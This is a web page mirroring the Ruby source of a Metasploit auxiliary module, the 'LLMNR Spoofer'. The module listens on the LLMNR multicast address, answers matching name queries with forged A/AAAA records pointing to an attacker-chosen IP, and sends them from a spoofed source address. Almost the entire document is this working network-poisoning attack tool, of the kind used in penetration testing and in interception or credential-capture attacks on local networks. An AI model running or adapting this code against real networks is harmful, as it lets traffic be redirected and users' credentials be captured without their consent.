Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/spoof/llmnr/llmnr_response.rb
19593 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'socket'
7
require 'ipaddr'
8
require 'net/dns'
9
10
class MetasploitModule < Msf::Auxiliary
11
12
include Msf::Exploit::Capture
13
14
attr_accessor :sock, :thread
15
16
def initialize
17
super(
18
'Name' => 'LLMNR Spoofer',
19
'Description' => %q{
20
LLMNR (Link-local Multicast Name Resolution) is the successor of NetBIOS (Windows Vista and up) and is used to
21
resolve the names of neighboring computers. This module forges LLMNR responses by listening for LLMNR requests
22
sent to the LLMNR multicast address (224.0.0.252) and responding with a user-defined spoofed IP address.
23
},
24
'Author' => [ 'Robin Francois <rof[at]navixia.com>' ],
25
'License' => MSF_LICENSE,
26
'References' => [
27
[ 'URL', 'http://www.ietf.org/rfc/rfc4795.txt' ]
28
],
29
30
'Actions' => [
31
[ 'Service', { 'Description' => 'Run LLMNR spoofing service' } ]
32
],
33
'PassiveActions' => [
34
'Service'
35
],
36
'DefaultAction' => 'Service',
37
'Notes' => {
38
'Stability' => [OS_RESOURCE_LOSS],
39
'SideEffects' => [IOC_IN_LOGS],
40
'Reliability' => []
41
}
42
)
43
44
register_options([
45
OptAddress.new('SPOOFIP', [ true, 'IP address with which to poison responses', '']),
46
OptRegexp.new('REGEX', [ true, 'Regex applied to the LLMNR Name to determine if spoofed reply is sent', '.*']),
47
OptInt.new('TTL', [ false, 'Time To Live for the spoofed response', 30]),
48
])
49
50
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
51
self.thread = nil
52
self.sock = nil
53
end
54
55
def dispatch_request(packet, rhost, src_port)
56
rhost = ::IPAddr.new(rhost)
57
58
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
59
# addr like "::ffff:192.168.0.1" when the interface we're listening
60
# on has an IPv6 address. Convert it to just the v4 addr
61
if rhost.ipv4_mapped?
62
rhost = rhost.native
63
end
64
65
dns_pkt = ::Net::DNS::Packet.parse(packet)
66
spoof = ::IPAddr.new(datastore['SPOOFIP'])
67
68
# Turn this packet into a response
69
dns_pkt.header.qr = 1
70
71
dns_pkt.question.each do |question|
72
name = question.qName
73
unless name =~ /#{datastore['REGEX']}/i
74
vprint_status("#{rhost.to_s.ljust 16} llmnr - #{name} did not match REGEX \"#{datastore['REGEX']}\"")
75
next
76
end
77
78
if should_print_reply?(name)
79
print_good("#{rhost.to_s.ljust 16} llmnr - #{name} matches regex, responding with #{datastore['SPOOFIP']}")
80
end
81
82
# qType is not a Integer, so to compare it with `case` we have to
83
# convert it
84
case question.qType.to_i
85
when ::Net::DNS::A
86
dns_pkt.answer << ::Net::DNS::RR::A.new(
87
name: name,
88
ttl: datastore['TTL'],
89
cls: ::Net::DNS::IN,
90
type: ::Net::DNS::A,
91
address: spoof.to_s
92
)
93
when ::Net::DNS::AAAA
94
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
95
name: name,
96
ttl: datastore['TTL'],
97
cls: ::Net::DNS::IN,
98
type: ::Net::DNS::AAAA,
99
address: (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s
100
)
101
when ::Net::DNS::ANY
102
# For ANY queries, respond with both an A record as well as an AAAA.
103
dns_pkt.answer << ::Net::DNS::RR::A.new(
104
name: name,
105
ttl: datastore['TTL'],
106
cls: ::Net::DNS::IN,
107
type: ::Net::DNS::A,
108
address: spoof.to_s
109
)
110
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
111
name: name,
112
ttl: datastore['TTL'],
113
cls: ::Net::DNS::IN,
114
type: ::Net::DNS::AAAA,
115
address: (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s
116
)
117
when ::Net::DNS::PTR
118
# Sometimes PTR queries are received. We will silently ignore them.
119
next
120
else
121
print_warning("#{rhost.to_s.ljust 16} llmnr - Unknown RR type (#{question.qType.to_i}), this shouldn't happen. Skipping")
122
next
123
end
124
end
125
126
# If we didn't find anything we want to spoof, don't send any
127
# packets
128
return if dns_pkt.answer.empty?
129
130
udp = ::PacketFu::UDPHeader.new(
131
udp_src: 5355,
132
udp_dst: src_port,
133
body: dns_pkt.data
134
)
135
udp.udp_recalc
136
if rhost.ipv4?
137
ip_pkt = ::PacketFu::IPPacket.new(
138
ip_src: spoof.hton,
139
ip_dst: rhost.hton,
140
ip_proto: 0x11, # UDP
141
body: udp
142
)
143
elsif rhost.ipv6?
144
ip_pkt = ::PacketFu::IPv6Packet.new(
145
ipv6_src: spoof.hton,
146
ipv6_dst: rhost.hton,
147
ip_proto: 0x11, # UDP
148
body: udp
149
)
150
else
151
# Should never get here
152
print_error('IP version is not 4 or 6. Failed to parse?')
153
return
154
end
155
ip_pkt.recalc
156
157
capture_sendto(ip_pkt, rhost.to_s, true)
158
end
159
160
def monitor_socket
161
loop do
162
rds = [sock]
163
wds = []
164
eds = [sock]
165
166
r, = ::IO.select(rds, wds, eds, 0.25)
167
168
if !r.nil? && (r[0] == sock)
169
packet, host, port = sock.recvfrom(65535)
170
dispatch_request(packet, host, port)
171
end
172
end
173
end
174
175
# Don't spam with success, just throttle to every 10 seconds
176
# per host
177
def should_print_reply?(host)
178
@notified_times ||= {}
179
now = Time.now.utc
180
@notified_times[host] ||= now
181
last_notified = now - @notified_times[host]
182
if (last_notified == 0) || (last_notified > 10)
183
@notified_times[host] = now
184
else
185
false
186
end
187
end
188
189
def run
190
check_pcaprub_loaded
191
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
192
193
# Avoid receiving extraneous traffic on our send socket
194
open_pcap({ 'FILTER' => 'ether host f0:f0:f0:f0:f0:f0' })
195
196
# Multicast Address for LLMNR
197
multicast_addr = ::IPAddr.new('224.0.0.252')
198
199
# The bind address here will determine which interface we receive
200
# multicast packets from. If the address is INADDR_ANY, we get them
201
# from all interfaces, so try to restrict if we can, but fall back
202
# if we can't
203
bind_addr = begin
204
get_ipv4_addr(datastore['INTERFACE'])
205
rescue StandardError
206
'0.0.0.0'
207
end
208
209
optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton
210
self.sock = Rex::Socket.create_udp(
211
# This must be INADDR_ANY to receive multicast packets
212
'LocalHost' => '0.0.0.0',
213
'LocalPort' => 5355,
214
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
215
)
216
sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
217
sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
218
219
self.thread = Rex::ThreadFactory.spawn('LLMNRServerMonitor', false) do
220
monitor_socket
221
end
222
223
print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...")
224
225
add_socket(sock)
226
227
thread.join
228
end
229
230
def cleanup
231
if thread && thread.alive?
232
thread.kill
233
self.thread = nil
234
end
235
sock.close
236
close_pcap
237
end
238
end
239
240